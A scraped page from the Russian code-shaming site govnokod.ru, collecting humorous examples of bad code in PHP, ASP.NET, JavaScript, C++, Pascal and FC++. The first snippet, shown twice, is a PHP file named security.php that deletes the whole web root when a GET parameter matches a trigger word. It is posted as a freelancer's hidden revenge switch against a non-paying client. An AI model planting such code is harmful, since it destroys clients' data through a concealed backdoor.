- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
<?php
$param = $_GET['delaem'];
if($param=='nahui')
{
$dir = __DIR__;
shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
}
?>
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+136
<?php
$param = $_GET['delaem'];
if($param=='nahui')
{
$dir = __DIR__;
shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
}
?>
Фрилансер защищает себя от неплатежеспособного заказчика xD
Файл лежал на продакшин сервере около года, название файла - security.php
+109
public function __get($name){
if(isset($this->fields[$name])){
if(class_exists($this->fields[$name]) &&
strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 &&
strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){
$class = $this->fields[$name];
$id = (string)$this->vals[$name]['id'];
if(!$this->refsCache[$id])
$this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
return $this->refsCache[$id];
}else
return $this->vals[$name];
}elseif(isset($this->fieldsRev[$name]))
return $this->vals[$name];
else throw new Exception('Not found field "'.$name.'" when reading in model');
}
public function __set($name, $value){
if(isset($this->fields[$name])){
if(class_exists($this->fields[$name]) &&
strcasecmp($this->fields[$name], get_class($value)) == 0 &&
strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
$this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
else
$this->vals[$name] = $value;
}elseif(isset($this->fieldsRev[$name]))
$this->vals[$name] = $value;
else throw new Exception('Not found field "'.$name.'" when writing in model');
}
Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.
+140
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="user_task_list.aspx.cs" Inherits="prototype_alpha.user_task_list" %>
<form id="user_task_list_form" action="user_task_list.aspx" method="post">
<div>
<p>Поданные заказы</p>
<%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState == 101 || a.TaskState == 102))
{
var q = BidList.Where(a => a.TaskID == item.TaskID);%>
<%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | " + q.Count() + " | " +item.TaskPutDate + " | "+ item.TaskDeadline + " | average bid(fuck up) | "+CommentList.Where(a=>a.TaskID==item.TaskID && a.CommentRead==0).Count()%>
<br />
<% }%>
<p>task title* || bids' count* || task put date* || task work end date* || average bid || new comments*</p>
<p>Выполняемые заказы</p>
<%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState >= 0 || a.TaskState < 100))
{
<%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | task work end date(time span) |"+item.TaskState+BidList.Where(a=>a.BidID==item.BidID).First().Bid1+" | "+CommentList.Where(a=>a.TaskID==item.TaskID && a.CommentRead==0).Count()%>
<br />
<% }%>
<p>task title* || task start date || task work end date(time span) || state* || price* || new comments*</p>
<p>Выполненные(не сданы) заказы</p>
<%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState == 100))
{
<%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | "+item.TaskWorkCompleteDate+" | "+BidList.Where(a=>a.BidID==item.BidID).First().Bid1+" | "+CommentList.Where(a=>a.TaskID==item.TaskID && a.CommentRead==0).Count()%>
<br />
<% }%>
<p>task title* || task start date || task work end date(saw into)* || price* || new comments*</p>
<p>Выполненные(сданы) заказы</p>
<%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState == 103 || a.TaskState == 104))
{
<%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | "+item.TaskWorkCompleteDate+" | "+BidList.Where(a=>a.BidID==item.BidID).First().Bid1%>
<br />
<% }%>
<p>task title* || task start date || task work end date(saw into)* || price*</p>
<p>Замороженные заказы</p>
<%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState <0))
{
<%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | "+item.TaskDeadline+" | "+BidList.Where(a=>a.BidID==item.BidID).First().Bid1%>
<br />
<% }%>
<p>task title* || task start date || task work end date(deadline)* || price*</p>
</div>
</form>
От человека требовалось написать написать отладочную страницу для списка заказов.
*TaskList, TaskDataList, CommentList, BidList - массивы
+49
If($z["timeout"]==1 || $z['timeout']==3 || $z['timeout']==4 || $z['timeout']==5 || $z['timeout']==7 || $z['timeout']==10) {
} else {
$z['timeout'] = 3;
}
'<>' и 'or' ? неее, не слышали!
+141
window.onload = function () {
var жирнота = [
600,
700,
800,
900
],
свэг = document.getElementById("swag");
свэг.innerHTML = "";
"SWAG".split("").forEach(function (буква) {
свэг.innerHTML += "<span>" + буква + "</span>"
});
function ослучайнить(что) {
return Math.floor(Math.random() * что);
}
function минимальноРаскрашываетСвэг() {
Array.prototype.forEach.call(свэг.children, function (буква) {
буква.style.color = "#" + ослучайнить(0xffffff).toString(16);
буква.style.fontSize = 250 + ослучайнить(175) + "px";
буква.style.fontWeight = жирнота[ослучайнить(жирнота.length)];
});
}
setInterval(минимальноРаскрашываетСвэг, 500);
};
+11
#include <QVector>
#include <QString>
template< class TYPE>
class call
{
public:
call( TYPE& vl ): value(vl){}
TYPE& value;
};
template< class TYPE>
call<TYPE> all( TYPE& vl )
{ return call<TYPE>(vl); }
template< class TYPE_OUT, class TYPE>
void operator << ( TYPE_OUT& out, call<TYPE>& in )
{
TYPE& value = in.value;
for( TYPE::iterator itr = value.begin() ; itr!=value.end(); itr++)
out << *itr;
}
//**********************************************************************
QVector<int> arr;
QVector<QString> arrStr;
class Cstream{} stream;
void operator << ( Cstream& , const int value)
{
printf("%i\n",value);
}
void operator << ( Cstream& , const QString& value)
{
printf("%s\n",value.toAscii().data());
}
int main(int argc, char *argv[])
{
for( int i=0; i<6;i++)
arr.push_back(i);
arrStr << "asd" << "sadas" << "sadsa";
stream << all(arr);
stream << all(arrStr);
return 0;
}
http://www.gamedev.ru/flame/forum/?id=171504
> @При копирование на говнокод сохранять авторство.
+81
if (request.equals("") || request == null) {
Response.status(Response.Status.NO_CONTENT).build();
}
ну сколько можно...
+156
this.start = function() {
// Инициализирует парсинг выгрузки из Агента Плюс.
if (this.open()) {
this.catalogs = this.getTags("catalogs", true)[0].childs;
this.subdocuments = this.getTags("documents", true)[1].childs;
this.guids = this.document.childs[0].childs[0].childs;
this.sellhistory = this.getCatalog("ИсторияПродаж").childs[0].childs;
this.sellpoints = this.getCatalog("ТорговыеТочки").childs[0].childs;
this.contragents = this.getCatalog("Контрагенты").childs[1].childs;
this.deals = this.getCatalog("Договоры").childs[0].childs;
this.nomenclature = this.getCatalog("Номенклатура").childs;
this.measure = this.getCatalog("ЕдиницыИзмерения").childs[0].childs;
this.route = this.getDocument("Маршрут").childs[0].childs[0].childs[0].childs[0]
this.names = {deals: [], catalog: [], nomenclature: [], measure: [], contragents: [], sellpoints: []};
this.info = {deals: [], catalog: [], nomenclature: [], measure: [], contragents: [], sellpoints: []};
this.hash = {deals: {}, nomenclature: {}, consts: {}, contragents: {}, sellpoints: [], measure: {}};
for (var i = 0; i < this.catalogs.length; i++) {
this.names.catalog.push(this.catalogs[i].attrib.Comment.replace(/Справочник\./g, ""));
this.info.catalog.push(this.catalogs[i].attrib);
}
for (var i = 0; i < this.nomenclature[1].childs.length; i++) {
this.names.nomenclature.push(this.nomenclature[1].childs[i].attrib.Name);
this.info.nomenclature.push(this.nomenclature[1].childs[i].attrib);
this.hash.nomenclature[this.nomenclature[1].childs[i].attrib.GUID] = this.nomenclature[1].childs[i].attrib;
}
for (var i = 0; i < this.deals.length; i++) {
this.names.deals.push(this.deals[i].attrib.Name);
this.info.deals.push(this.deals[i].attrib);
this.hash.deals[this.deals[i].attrib.GUID] = this.deals[i].attrib;
}
for (var i = 0; i < this.measure.length; i++) {
this.names.measure.push(this.measure[i].attrib.Name);
this.info.measure.push(this.measure[i].attrib);
this.hash.measure[this.measure[i].attrib.GUID] = this.measure[i].attrib;
}
for (var i = 0; i < this.contragents.length; i++) {
this.names.contragents.push(this.contragents[i].attrib.Name);
this.info.contragents.push(this.contragents[i].attrib);
this.hash.contragents[this.contragents[i].attrib.GUID] = this.contragents[i].attrib;
}
for (var i = 0; i < this.sellpoints.length; i++) {
this.names.sellpoints.push(this.sellpoints[i].attrib.Name);
this.info.sellpoints.push(this.sellpoints[i].attrib);
this.hash.sellpoints[this.sellpoints[i].attrib.GUID] = this.sellpoints[i].attrib;
}
for (var i = 0; i < this.guids.length; i++) {
this.hash.consts[this.guids[i].attrib.GUID] = this.guids[i].attrib.VALUE;
}
this.dynamic.routes = new Array();
for (var i = 0; i < this.route.childs.length; i++) {
var sp = this.getSPointByGUID(this.route.childs[i].attrib.A02);
var adr = sp.Name;
var ca = this.getCAgentByGUID(this.route.childs[i].attrib.A01);
var ptypeguid = this.hash.deals[ca.A08].A06;
var cagent = ca.Name;
var dealguid = ca.A08;
var exists = false;
for (var j = 0; j < this.dynamic.routes.length; j++) if (this.dynamic.routes[j].address.trim().toLowerCase() == adr.trim().toLowerCase()) exists = exists || true;
if (!exists) this.dynamic.routes.push({ptypeguid: ptypeguid, spointguid: sp.GUID, address: adr, dealguid: dealguid, cagent: cagent, cagentguid: ca.GUID, datestamp: this.convRouteDate(this.route.childs[i].attrib.A03)});
}
} else return;
};
Маленькая часть нашего скрипта для работы с 1С - Node.JS - WebClient.
+91
procedure RecursiveVisibility(e : PCreature; oct, depth : integer; slopeA, slopeB : single);
var
x, y : integer;
begin
case oct of
1 : begin
y := e^.y - depth; { initialize y }
x := round(e^.x - slopeA * depth); { initialize z }
while GetSlopeStd(x, y, e^.x, e^.y) >= slopeB do begin { while in octant }
if GetVisDistance(x, y, e^.x, e^.y) <= mw then begin { if within max visual range }
if WorldSurface[x, y].entity^.obstruct then begin { if obstruction }
if not WorldSurface[x - 1, y].entity^.obstruct then begin { if no prior obstruction }
RecursiveVisibility(e, 1, depth + 1, slopeA, GetSlopeStd(x - 0.5, y + 0.5, e^.x, e^.y));
end; { ^create recursive scan }
end else begin { no obstruction }
if WorldSurface[x - 1, y].entity^.obstruct then begin { if prior obstruction }
slopeA := GetSlopeStd(x - 0.5, y - 0.5, e^.x, e^.y); { adjust slope for later recursion }
end;
end;
WorldSurface[x, y].visibility := 3; { set block visible }
end;
inc(x);
end;
dec(x)
end;
2 : begin
y := e^.y - depth; { initialize y }
x := round(e^.x + slopeA * depth); { initialize z }
while GetSlopeStd(x, y, e^.x, e^.y) <= slopeB do begin { while in octant }
if GetVisDistance(x, y, e^.x, e^.y) <= mw then begin { if within max visual range }
if WorldSurface[x, y].entity^.obstruct then begin { if obstruction }
if not WorldSurface[x + 1, y].entity^.obstruct then begin { if no prior obstruction }
RecursiveVisibility(e, 2, depth + 1, slopeA, GetSlopeStd(x + 0.5, y + 0.5, e^.x, e^.y));
end; { ^create recursive scan }
end else begin { no obstruction }
if WorldSurface[x + 1, y].entity^.obstruct then begin { if prior obstruction }
slopeA := -GetSlopeStd(x + 0.5, y - 0.5, e^.x, e^.y); { adjust slope for later recursion }
end;
end;
WorldSurface[x, y].visibility := 3; { set block visible }
end;
dec(x);
end;
inc(x)
end;
// Далее всё в таком же духе.
Отсюда: http://roguebasin.roguelikedevelopment.org/index.php?title=FOV_using_recursive_shad owcasting_-_improved
Можно было сделать менее говнокодистей?
+15
LambdaVar<1> X;
LambdaVar<2> Y;
// The next line prints 10:
cout << lambda(X,Y)[ plus[ multiplies[3,X], Y ] ] (3,1) << endl;
cout << lambda(X,Y)[ (3 %multiplies% X) %plus% Y ] << endl;
//...
lambda(X)[ X %plus% getCurrentTime[_*_] ]
//...
let[ X == someLambdaExp,
Y == someOtherLambdaExpWhichMayInvolveX ]
.in[ someLambdaExpInvolvingXandY ]
//...
lambda(X)[
letrec[ F == lambda(Y)[ if1[ Y %equals% 0,
1,
Y %multiplies% F[Y %minus% 1] ] ] ]
.in[ F[X] ] ]
//...
Maybe<int> mx = just(2);
Maybe<int> my = just(3);
mx = lambda()[ compM<MaybeM>()[ plus[X,Y] | X<=mx, Y<=my, guard[false] ] ]();
cout << mx << endl; // Nothing
//...
compM<ListM>()[ makePair[X,Y] | X<=list_with(1,2), guard[true],
Y<=list_with(3,4), guard[ (Y %divides% X) %equal% 3 ] ] ]
Грибки отсюда:
http://people.cs.umass.edu/~yannis/fc++/